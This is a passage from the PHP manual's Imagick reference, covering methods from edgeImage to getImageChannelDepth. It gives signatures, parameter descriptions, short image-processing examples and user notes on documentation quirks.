$im->newImage($metrix['textWidth'],$metrix['textHeight'], new ImagickPixel('white'));
$im->drawImage($draw);
$im->borderImage(new ImagickPixel('black'), 1, 1);
$im->setImageFormat('png');

$im->writeImage("./test.png");
?>


Enhance edges within the image

  • « Imagick::drawImage
  • Imagick::embossImage »
  • PHP Manual
  • Imagick
  • Enhance edges within the image

Imagick::edgeImage

(PECL imagick 2.0.0)

Imagick::edgeImage — Enhance edges within the image

Description

bool Imagick::edgeImage ( float $radius )

Enhance edges within the image with a convolution filter of the given radius. Use radius 0 and it will be auto-selected.

Parameters

radius

The radius of the operation.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns a grayscale image with a three-dimensional effect

  • « Imagick::edgeImage
  • Imagick::encipherImage »
  • PHP Manual
  • Imagick
  • Returns a grayscale image with a three-dimensional effect

Imagick::embossImage

(PECL imagick 2.0.0)

Imagick::embossImage — Returns a grayscale image with a three-dimensional effect

Description

bool Imagick::embossImage ( float $radius , float $sigma )

Returns a grayscale image with a three-dimensional effect. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and it will choose a suitable radius for you.

Parameters

radius

The radius of the effect

sigma

The sigma of the effect

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

DJ Mike 12-Apr-2011 08:17
embossImage() will actually return a color image with a 3D effect. If you want a gray scale image, you can use imagefilter() from the regular GD functions.

<?php
header("Content-type: image/jpeg");
$image = new Imagick("opossum.jpg");
$image->embossImage( 0, 1 );
echo $image;
?>


Enciphers an image

  • « Imagick::embossImage
  • Imagick::enhanceImage »
  • PHP Manual
  • Imagick
  • Enciphers an image

Imagick::encipherImage

(No version information available, might only be in Git)

Imagick::encipherImage — Enciphers an image

Description

bool Imagick::encipherImage ( string $passphrase )

Converts plain pixels to enciphered pixels. The image is not readable until it has been deciphered using Imagick::decipherImage() This method is available if Imagick has been compiled against ImageMagick version 6.3.9 or newer.

Parameters

passphrase

The passphrase

Return Values

Returns TRUE on success.

See Also

  • Imagick::decipherImage() - Deciphers an image

User Contributed Notes

There are no user contributed notes for this page.


Improves the quality of a noisy image

  • « Imagick::encipherImage
  • Imagick::equalizeImage »
  • PHP Manual
  • Imagick
  • Improves the quality of a noisy image

Imagick::enhanceImage

(PECL imagick 2.0.0)

Imagick::enhanceImage — Improves the quality of a noisy image

Description

bool Imagick::enhanceImage ( void )

Applies a digital filter that improves the quality of a noisy image.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Equalizes the image histogram

  • « Imagick::enhanceImage
  • Imagick::evaluateImage »
  • PHP Manual
  • Imagick
  • Equalizes the image histogram

Imagick::equalizeImage

(PECL imagick 2.0.0)

Imagick::equalizeImage — Equalizes the image histogram

Description

bool Imagick::equalizeImage ( void )

Equalizes the image histogram.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Applies an expression to an image

  • « Imagick::equalizeImage
  • Imagick::exportImagePixels »
  • PHP Manual
  • Imagick
  • Applies an expression to an image

Imagick::evaluateImage

(PECL imagick 2.0.0)

Imagick::evaluateImage — Applies an expression to an image

Description

bool Imagick::evaluateImage ( int $op , float $constant [, int $channel = Imagick::CHANNEL_ALL ] )

Applys an arithmetic, relational, or logical expression to an image. Use these operators to lighten or darken an image, to increase or decrease contrast in an image, or to produce the "negative" of an image.

Parameters

op

The evaluation operator

constant

The value of the operator

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Examples

Example #1 Using Imagick::evaluateImage()

Using evaluateImage to reduce opacity in an image.

<?php
// Create new object with the image
$im = new Imagick('example-alpha.png');

// Reduce the alpha by 50%
$im->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

// Output the image
header("Content-Type: image/png");
echo $im;
?>

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

nils dot rocine at gmail dot com 04-Jan-2012 08:10
What worked for me to convert a JPG source file to a semi-transparent PNG.

<?php
    $srcImagick = new Imagick($srcPath);

    $pathTo50Perc = 'transparent1.png';

    $srcImagick->setImageAlphaChannel(Imagick::ALPHACHANNEL_OPAQUE);

    $srcImagick->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

    $srcImagick->writeImage($pathTo50Perc);
?>


Exports raw image pixels

  • « Imagick::evaluateImage
  • Imagick::extentImage »
  • PHP Manual
  • Imagick
  • Exports raw image pixels

Imagick::exportImagePixels

(No version information available, might only be in Git)

Imagick::exportImagePixels — Exports raw image pixels

Description

public array Imagick::exportImagePixels ( int $x , int $y , int $width , int $height , string $map , int $STORAGE )

Exports image pixels into an array. The map defines the ordering of the exported pixels. The size of the returned array is width * height * strlen(map). This method is available if Imagick has been compiled against ImageMagick version 6.4.7 or newer.

Parameters

x

X-coordinate of the exported area

y

Y-coordinate of the exported area

width

Width of the exported aread

height

Height of the exported area

map

Ordering of the exported pixels. For example "RGB". Valid characters for the map are R, G, B, A, O, C, Y, M, K, I and P.

STORAGE

Refer to this list of pixel type constants

Examples

Example #1 Using Imagick::exportImagePixels()

Export image pixels into an array

<?php

/* Create new object */
$im = new Imagick();

/* Create new image */
$im->newPseudoImage(0, 0, "magick:rose");

/* Export the image pixels */
$pixels = $im->exportImagePixels(10, 10, 2, 2, "RGB", Imagick::PIXEL_CHAR);

/* Output */
var_dump($pixels);
?>

The above example will output:

array(12) {
  [0]=>
  int(72)
  [1]=>
  int(64)
  [2]=>
  int(57)
  [3]=>
  int(69)
  [4]=>
  int(59)
  [5]=>
  int(43)
  [6]=>
  int(124)
  [7]=>
  int(120)
  [8]=>
  int(-96)
  [9]=>
  int(91)
  [10]=>
  int(84)
  [11]=>
  int(111)
}

Return Values

Returns an array containing the pixels values.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set image size

  • « Imagick::exportImagePixels
  • Imagick::flattenImages »
  • PHP Manual
  • Imagick
  • Set image size

Imagick::extentImage

(No version information available, might only be in Git)

Imagick::extentImage — Set image size

Description

bool Imagick::extentImage ( int $width , int $height , int $x , int $y )

Comfortability method for setting image size. The method sets the image size and allows setting x,y coordinates where the new area begins. This method is available if Imagick has been compiled against ImageMagick version 6.3.1 or newer.

Parameters

width

The new width

height

The new height

x

X position for the new size

y

Y position for the new size

Return Values

Returns TRUE on success.

See Also

  • Imagick::resizeImage() - Scales an image
  • Imagick::thumbnailImage() - Changes the size of an image
  • Imagick::cropImage() - Extracts a region of the image

User Contributed Notes

orgoj 14-Feb-2014 03:52
Some tiff image are corrupted, if used without prior calling setImageMatte(false).
bas at vdsluis dot net 03-Dec-2009 01:44
This function cannot handle images with a transparent background. Use setImageExtent instead.


Merges a sequence of images

  • « Imagick::extentImage
  • Imagick::flipImage »
  • PHP Manual
  • Imagick
  • Merges a sequence of images

Imagick::flattenImages

(PECL imagick 2.0.0)

Imagick::flattenImages — Merges a sequence of images

Description

Imagick Imagick::flattenImages ( void )

Merges a sequence of images. This is useful for combining Photoshop layers into a single image.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

ureimers 10-Feb-2014 08:15
Small correction to Jairu5's code:

If you want to set the background color of a transparent image you have to set it _before_ loading the image.
Flattening images by default uses the background color 'white'. That's why Jairu5's code seem to work at first, but only until you want to actually change the background color to something different than white.

Try using this instead:

<?php

$im = new Imagick();
$im->setImageBackgroundColor('green');
$im->readimage('image.png');

$im = $im->flattenImages();

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>
Samuel Fine (hi at samuelfine dot com) 05-Dec-2011 06:32
This is also useful for accurately converting .ico files to .png. (Other types as well, in theory, but I've only tested ico->png.) Simply using setFormat will create a valid .png file, but will result in image artifacts if the original .ico had any transparency. The following code will create an accurate copy:

<?php

$im = new Imagick();

// When dealing with .ico files, make sure to setFormat before loading the image or you'll get a nasty exception. See https://bugs.php.net/bug.php?id=58515 for more details.
$im->setFormat("ico");

$im->readImage("favicon.ico");

$im = $im->flattenImages(); // Thanks for the tip, Jairu5!

$im->setFormat("png");

$new = fopen("favicon.png", "w");
$im->writeImageFile($new);
$im->clear();
$im->destroy();

?>
Jairu5 30-Nov-2010 05:29
Note that the function returns an Imagick object and does not modify the existing object. Below is my code for converting a PNG with transparency into a JPG with a background color. This code illustrates the difference.

<?php

$im = new Imagick('image.png');
$im->setImageBackgroundColor('white');

$im->flattenImages(); // This does not do anything.
$im = $im->flattenImages(); // Use this instead.

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>


Creates a vertical mirror image

  • « Imagick::flattenImages
  • Imagick::floodFillPaintImage »
  • PHP Manual
  • Imagick
  • Creates a vertical mirror image

Imagick::flipImage

(PECL imagick 2.0.0)

Imagick::flipImage — Creates a vertical mirror image

Description

bool Imagick::flipImage ( void )

Creates a vertical mirror image by reflecting the pixels around the central x-axis.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

jeff at jeffharris dot us 07-Dec-2013 07:39
To avoid the x-axis and y-axis discussion, flipping emulates a mirror at the bottom (or top) of the image.
ʇo ɐʌoıp ʇɥǝ x-ɐxıs ɐup ʎ-ɐxıs pısɔnssıou, ɟןıddıuƃ ǝɯnןɐʇǝs ɐ ɯıɹɹoɹ ɐʇ ʇɥǝ qoʇʇoɯ )oɹ ʇod( oɟ ʇɥǝ ıɯɐƃǝ˙
Lee 07-Jun-2012 05:12
They mean, "Creates a horizontal mirror image by reflecting the pixels around the central y-axis."


Changes the color value of any pixel that matches target

  • « Imagick::flipImage
  • Imagick::flopImage »
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::floodFillPaintImage

(No version information available, might only be in Git)

Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target

Description

bool Imagick::floodFillPaintImage ( mixed $fill , float $fuzz , mixed $target , int $x , int $y , bool $invert [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Changes the color value of any pixel that matches target and is an immediate neighbor. This method is a replacement for deprecated Imagick::paintFloodFillImage(). This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

fill

ImagickPixel object or a string containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

target

ImagickPixel object or a string containing the target color to paint

x

X start position of the floodfill

y

Y start position of the floodfill

invert

If TRUE paints any pixel that does not match the target color.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Examples

Example #1 Imagick::floodfillPaintImage() example

<?php

/* Create new imagick object */
$im = new Imagick();

/* create red, green and blue images */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Append the images into one */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Save the intermediate image for comparison */
$combined->writeImage("floodfillpaint_intermediate.png");

/* The target pixel to paint */
$x = 1;
$y = 1;

/* Get the color we are painting */
$target = $combined->getImagePixelColor($x, $y);

/* Paints pixel in position 1,1 black and all neighboring
   pixels that match the target color */
$combined->floodfillPaintImage("black", 1, $target, $x, $y, false);

/* Save the result */
$combined->writeImage("floodfillpaint_result.png");
?>

The above example will output something similar to:

Output of example : Imagick::floodfillPaintImage()
Output of example : Imagick::floodfillPaintImage()

User Contributed Notes

There are no user contributed notes for this page.


Creates a horizontal mirror image

  • « Imagick::floodFillPaintImage
  • Imagick::frameImage »
  • PHP Manual
  • Imagick
  • Creates a horizontal mirror image

Imagick::flopImage

(PECL imagick 2.0.0)

Imagick::flopImage — Creates a horizontal mirror image

Description

bool Imagick::flopImage ( void )

Creates a horizontal mirror image by reflecting the pixels around the central y-axis.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Lee 07-Jun-2012 05:11
They mean, "Creates a vertical mirror image by reflecting the pixels around the central x-axis."


Adds a simulated three-dimensional border

  • « Imagick::flopImage
  • Imagick::functionImage »
  • PHP Manual
  • Imagick
  • Adds a simulated three-dimensional border

Imagick::frameImage

(PECL imagick 2.0.0)

Imagick::frameImage — Adds a simulated three-dimensional border

Description

bool Imagick::frameImage ( mixed $matte_color , int $width , int $height , int $inner_bevel , int $outer_bevel )

Adds a simulated three-dimensional border around the image. The width and height specify the border width of the vertical and horizontal sides of the frame. The inner and outer bevels indicate the width of the inner and outer shadows of the frame.

Parameters

matte_color

ImagickPixel object or a string representing the matte color

width

The width of the border

height

The height of the border

inner_bevel

The inner bevel width

outer_bevel

The outer bevel width

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Applies a function on the image

  • « Imagick::frameImage
  • Imagick::fxImage »
  • PHP Manual
  • Imagick
  • Applies a function on the image

Imagick::functionImage

(No version information available, might only be in Git)

Imagick::functionImage — Applies a function on the image

Description

public bool Imagick::functionImage ( int $function , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Applies an arithmetic, relational, or logical expression to a pseudo image.

See also » ImageMagick v6 Examples - Image Transformations — Function, Multi-Argument Evaluate

This method is available if Imagick has been compiled against ImageMagick version 6.4.9 or newer.

Parameters

function

Refer to this list of function constants

arguments

Array of arguments to pass to this function.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Create a sinusoidal gradient

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(3, -90);
$imagick->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

header("Content-Type: image/png");
$imagick->setImageFormat("png");
echo $imagick->getImageBlob();
?>

The above example will output something similar to:

Output of create a sinusoidal gradient

Example #2 Create a gradient from the polynomial (4x^2 - 4x + 1)

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(4, -4, 1);
$imagick->functionImage(Imagick::FUNCTION_POLYNOMIAL, $arguments);

header("Content-Type: image/png");
$imagick->setimageformat("png");
echo $imagick->getImageBlob();
?>

The above example will output something similar to:

Output of create a polynomial gradient

Example #3 Create a complex gradient from the polynomial (4x^2 - 4x^2 + 1) modulated by a sinusoidal gradient

<?php
$imagick1 = new Imagick();
$imagick1->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(9, -90);
$imagick1->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

$imagick2 = new Imagick();
$imagick2->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(0.5, 0);
$imagick2->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);
$imagick1->compositeimage($imagick2, Imagick::COMPOSITE_MULTIPLY, 0, 0);

header("Content-Type: image/png");
$imagick1->setImageFormat("png");
echo $imagick1->getImageBlob();
?>

The above example will output something similar to:

Output of create complex gradient

User Contributed Notes

There are no user contributed notes for this page.


Evaluate expression for each pixel in the image

  • « Imagick::functionImage
  • Imagick::gammaImage »
  • PHP Manual
  • Imagick
  • Evaluate expression for each pixel in the image

Imagick::fxImage

(PECL imagick 2.0.0)

Imagick::fxImage — Evaluate expression for each pixel in the image

Description

Imagick Imagick::fxImage ( string $expression [, int $channel = Imagick::CHANNEL_ALL ] )

Evaluate expression for each pixel in the image. Consult » The Fx Special Effects Image Operator for more information.

Parameters

expression

The expression.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

thomasgf22 at NOSPAM dot gmail dot com 16-May-2014 11:00
Beware that fxImage return value's type is a new object(Imagick), opposing the current documentation (boolean). Therefore it does not affect the caller object. Example:
<?php
            $canvas = new Imagick();
            $canvas->newImage(256, 256, "white", "jpg");

            $gradient = new Imagick();
            $gradient->newPseudoImage(256, 256, "gradient:white-black");
            $canvas->compositeImage( $gradient, imagick::COMPOSITE_OVER, 0, 0 );
            $canvas->rotateImage(new ImagickPixel(), 90);
            /*instead of just $canvas->fxImage("floor(s*10+0.5)/10"); we must store fxImage()'s result*/
            $canvas= $canvas->fxImage("floor(s*10+0.5)/10");

            header( "Content-Type: image/jpg" );
            echo $canvas;
?>


Gamma-corrects an image

  • « Imagick::fxImage
  • Imagick::gaussianBlurImage »
  • PHP Manual
  • Imagick
  • Gamma-corrects an image

Imagick::gammaImage

(PECL imagick 2.0.0)

Imagick::gammaImage — Gamma-corrects an image

Description

bool Imagick::gammaImage ( float $gamma [, int $channel = Imagick::CHANNEL_ALL ] )

Gamma-corrects an image. The same image viewed on different devices will have perceptual differences in the way the image's intensities are represented on the screen. Specify individual gamma levels for the red, green, and blue channels, or adjust all three with the gamma parameter. Values typically range from 0.8 to 2.3.

Parameters

gamma

The amount of gamma-correction.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Blurs an image

  • « Imagick::gammaImage
  • Imagick::getColorspace »
  • PHP Manual
  • Imagick
  • Blurs an image

Imagick::gaussianBlurImage

(PECL imagick 2.0.0)

Imagick::gaussianBlurImage — Blurs an image

Description

bool Imagick::gaussianBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )

Blurs an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, the radius should be larger than sigma. Use a radius of 0 and selects a suitable radius for you.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the colorspace

  • « Imagick::gaussianBlurImage
  • Imagick::getCompression »
  • PHP Manual
  • Imagick
  • Gets the colorspace

Imagick::getColorspace

(PECL imagick 0.9.10-0.9.9)

Imagick::getColorspace — Gets the colorspace

Description

int Imagick::getColorspace ( void )

Gets the global colorspace value. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Return Values

Returns an integer which can be compared against COLORSPACE constants.

User Contributed Notes

There are no user contributed notes for this page.


Gets the object compression type

  • « Imagick::getColorspace
  • Imagick::getCompressionQuality »
  • PHP Manual
  • Imagick
  • Gets the object compression type

Imagick::getCompression

(PECL imagick 2.0.0)

Imagick::getCompression — Gets the object compression type

Description

int Imagick::getCompression ( void )

Gets the object compression type.

Return Values

Returns the compression constant

User Contributed Notes

holdoffhunger at gmail dot com 17-May-2012 08:11
The ImageMagick PHP function for getCompression returns an integer representing the value associated with the ImageMagick Compression constant.  You'll get numbers from 0 to 13, each representing a different particular type of compression.  If printed out, the ImageMagick constants for compression come out as...

imagick::COMPRESSION_UNDEFINED    0
imagick::COMPRESSION_NO    1
imagick::COMPRESSION_BZIP    2
imagick::COMPRESSION_DXT1    3
imagick::COMPRESSION_DXT3    4
imagick::COMPRESSION_DXT5    5
imagick::COMPRESSION_FAX    6
imagick::COMPRESSION_GROUP4    7
imagick::COMPRESSION_JPEG    8
imagick::COMPRESSION_JPEG2000    9
imagick::COMPRESSION_LOSSLESSJPEG    10
imagick::COMPRESSION_LZW    11
imagick::COMPRESSION_RLE    12
imagick::COMPRESSION_ZIP    13

Every time I have used this, whether on a jpeg image, a png image, a gif image, or a bmp image, it has always returned '0' as a value.  There's a good chance that this is simply a value that is set by means of get/set, as opposed to actually producing values for a given image.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_compression = $imagick_type->getCompression();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_compression);
    print("</pre>");

?>


Gets the object compression quality

  • « Imagick::getCompression
  • Imagick::getCopyright »
  • PHP Manual
  • Imagick
  • Gets the object compression quality

Imagick::getCompressionQuality

(PECL imagick 2.0.0)

Imagick::getCompressionQuality — Gets the object compression quality

Description

int Imagick::getCompressionQuality ( void )

Gets the object compression quality.

Return Values

Returns integer describing the compression quality

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick API copyright as a string

  • « Imagick::getCompressionQuality
  • Imagick::getFilename »
  • PHP Manual
  • Imagick
  • Returns the ImageMagick API copyright as a string

Imagick::getCopyright

(PECL imagick 2.0.0)

Imagick::getCopyright — Returns the ImageMagick API copyright as a string

Description

string Imagick::getCopyright ( void )

Returns the ImageMagick API copyright as a string.

Return Values

Returns a string containing the copyright notice of Imagemagick and Magickwand C API.

User Contributed Notes

There are no user contributed notes for this page.


The filename associated with an image sequence

  • « Imagick::getCopyright
  • Imagick::getFont »
  • PHP Manual
  • Imagick
  • The filename associated with an image sequence

Imagick::getFilename

(PECL imagick 2.0.0)

Imagick::getFilename — The filename associated with an image sequence

Description

string Imagick::getFilename ( void )

Returns the filename associated with an image sequence.

Return Values

Returns a string on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets font

  • « Imagick::getFilename
  • Imagick::getFormat »
  • PHP Manual
  • Imagick
  • Gets font

Imagick::getFont

(PECL imagick 2.1.0)

Imagick::getFont — Gets font

Description

string Imagick::getFont ( void )

Returns the objects font property. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Return Values

Returns the string containing the font name or FALSE if not font is set.

See Also

  • Imagick::setFont() - Sets font
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text
  • ImagickDraw::getFont() - Returns the font

User Contributed Notes

There are no user contributed notes for this page.


Returns the format of the Imagick object

  • « Imagick::getFont
  • Imagick::getGravity »
  • PHP Manual
  • Imagick
  • Returns the format of the Imagick object

Imagick::getFormat

(PECL imagick 2.0.0)

Imagick::getFormat — Returns the format of the Imagick object

Description

string Imagick::getFormat ( void )

Returns the format of the Imagick object.

Return Values

Returns the format of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 18-May-2012 08:02
The getFormat function merely returns the value of the image format, which is not automatically loaded when you read an image.  The value you're getting back, then, is merely the value that you set the format to using the setFormat function.  That function takes pretty much any string that matches a popular or well-known image filename.  It accepts "jpeg" and "gif", but errors out on anything that is not an image filename, like "xyz123" or "zip".  How do you know what filetypes you can enter?  Use the PHP ImageMagick function 'queryFormats'.  If you want to know what type of file you have, you should try using the PHP page for the function 'filetype'.  Or, on the other hand, you can use the ImageMagick function getImageFormat (as opposed to the ImageMagick function getFormat).  The difference is that getImageFormat actually returns the format of the inputted image.

And now, a simple demonstration of the set/get activity in the Format :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Set/Get Format
        // ---------------------------------------------

    $imagick_type->setFormat("bmp");
    $imagick_type_format = $imagick_type->getFormat();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_format);
    print("</pre>");

?>


Gets the gravity

  • « Imagick::getFormat
  • Imagick::getHomeURL »
  • PHP Manual
  • Imagick
  • Gets the gravity

Imagick::getGravity

(No version information available, might only be in Git)

Imagick::getGravity — Gets the gravity

Description

int Imagick::getGravity ( void )

Gets the global gravity property for the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Return Values

Returns the gravity property. Refer to the list of gravity constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick home URL

  • « Imagick::getGravity
  • Imagick::getImage »
  • PHP Manual
  • Imagick
  • Returns the ImageMagick home URL

Imagick::getHomeURL

(PECL imagick 2.0.0)

Imagick::getHomeURL — Returns the ImageMagick home URL

Description

string Imagick::getHomeURL ( void )

Returns the ImageMagick home URL.

Return Values

Returns a link to the imagemagick homepage.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new Imagick object

  • « Imagick::getHomeURL
  • Imagick::getImageAlphaChannel »
  • PHP Manual
  • Imagick
  • Returns a new Imagick object

Imagick::getImage

(PECL imagick 2.0.0)

Imagick::getImage — Returns a new Imagick object

Description

Imagick Imagick::getImage ( void )

Returns a new Imagick object with the current image sequence.

Return Values

Returns a new Imagick object with the current image sequence.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image alpha channel

  • « Imagick::getImage
  • Imagick::getImageArtifact »
  • PHP Manual
  • Imagick
  • Gets the image alpha channel

Imagick::getImageAlphaChannel

(No version information available, might only be in Git)

Imagick::getImageAlphaChannel — Gets the image alpha channel

Description

int Imagick::getImageAlphaChannel ( void )

Gets the image alpha channel value. The returned value is one of the alpha channel constants. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Return Values

Returns a constant defining the current alpha channel value. Refer to this list of alpha channel constants.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get image artifact

  • « Imagick::getImageAlphaChannel
  • Imagick::getImageBackgroundColor »
  • PHP Manual
  • Imagick
  • Get image artifact

Imagick::getImageArtifact

(No version information available, might only be in Git)

Imagick::getImageArtifact — Get image artifact

Description

string Imagick::getImageArtifact ( string $artifact )

Gets an artifact associated with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

artifact

The name of the artifact

Return Values

Returns the artifact value on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::setImageArtifact() - Set image artifact
  • Imagick::deleteImageArtifact() - Delete image artifact

User Contributed Notes

There are no user contributed notes for this page.


Returns the image background color

  • « Imagick::getImageArtifact
  • Imagick::getImageBlob »
  • PHP Manual
  • Imagick
  • Returns the image background color

Imagick::getImageBackgroundColor

(PECL imagick 2.0.0)

Imagick::getImageBackgroundColor — Returns the image background color

Description

ImagickPixel Imagick::getImageBackgroundColor ( void )

Returns the image background color.

Return Values

Returns an ImagickPixel set to the background color of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image sequence as a blob

  • « Imagick::getImageBackgroundColor
  • Imagick::getImageBluePrimary »
  • PHP Manual
  • Imagick
  • Returns the image sequence as a blob

Imagick::getImageBlob

(PECL imagick 2.0.0)

Imagick::getImageBlob — Returns the image sequence as a blob

Description

string Imagick::getImageBlob ( void )

Implements direct to memory image formats. It returns the image sequence as a string. The format of the image determines the format of the returned blob (GIF, JPEG, PNG, etc.). To return a different image format, use Imagick::setImageFormat().

Return Values

Returns a string containing the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Trevor 02-Dec-2011 12:41
It seems that this method can return a zero-length string if faced with large-ish data.  No exceptions are thrown.

<?php
  $image = new Imagick();
  if (!$image->newImage(1000,1,'white')) throw new Exception();
  if (!$image->scaleImage(0,200)) throw new Exception();
  print "Image size: {$image->getImageWidth()},{$image->getImageHeight()}\n";
  if (!$image->setImageFormat("jpeg")) throw new Exception();
  $a = $image->getImageBlob();
  print "Rendered to ".strlen($a)." bytes\n";
?>

Restrict your output image size, or ensure that the blob you get back isn't empty.  (Note that IM seems to be doing the work, it delays for some time.  But there's no indication of any error anywhere.)


Returns the chromaticy blue primary point

  • « Imagick::getImageBlob
  • Imagick::getImageBorderColor »
  • PHP Manual
  • Imagick
  • Returns the chromaticy blue primary point

Imagick::getImageBluePrimary

(PECL imagick 2.0.0)

Imagick::getImageBluePrimary — Returns the chromaticy blue primary point

Description

array Imagick::getImageBluePrimary ( void )

Returns the chromaticity blue primary point for the image.

Parameters

x

The chromaticity blue primary x-point.

y

The chromaticity blue primary y-point.

Return Values

Array consisting of "x" and "y" coordinates of point.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image border color

  • « Imagick::getImageBluePrimary
  • Imagick::getImageChannelDepth »
  • PHP Manual
  • Imagick
  • Returns the image border color

Imagick::getImageBorderColor

(PECL imagick 2.0.0)

Imagick::getImageBorderColor — Returns the image border color

Description

ImagickPixel Imagick::getImageBorderColor ( void )

Returns the image border color.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the depth for a particular image channel

  • « Imagick::getImageBorderColor
  • Imagick::getImageChannelDistortion »
  • PHP Manual
  • Imagick
  • Gets the depth for a particular image channel

Imagick::getImageChannelDepth

(PECL imagick 2.0.0)

Imagick::getImageChannelDepth — Gets the depth for a particular image channel

Description

int Imagick::getImageChannelDepth ( int $channel )

Gets the depth for a particular image channel.

Parameters

channel

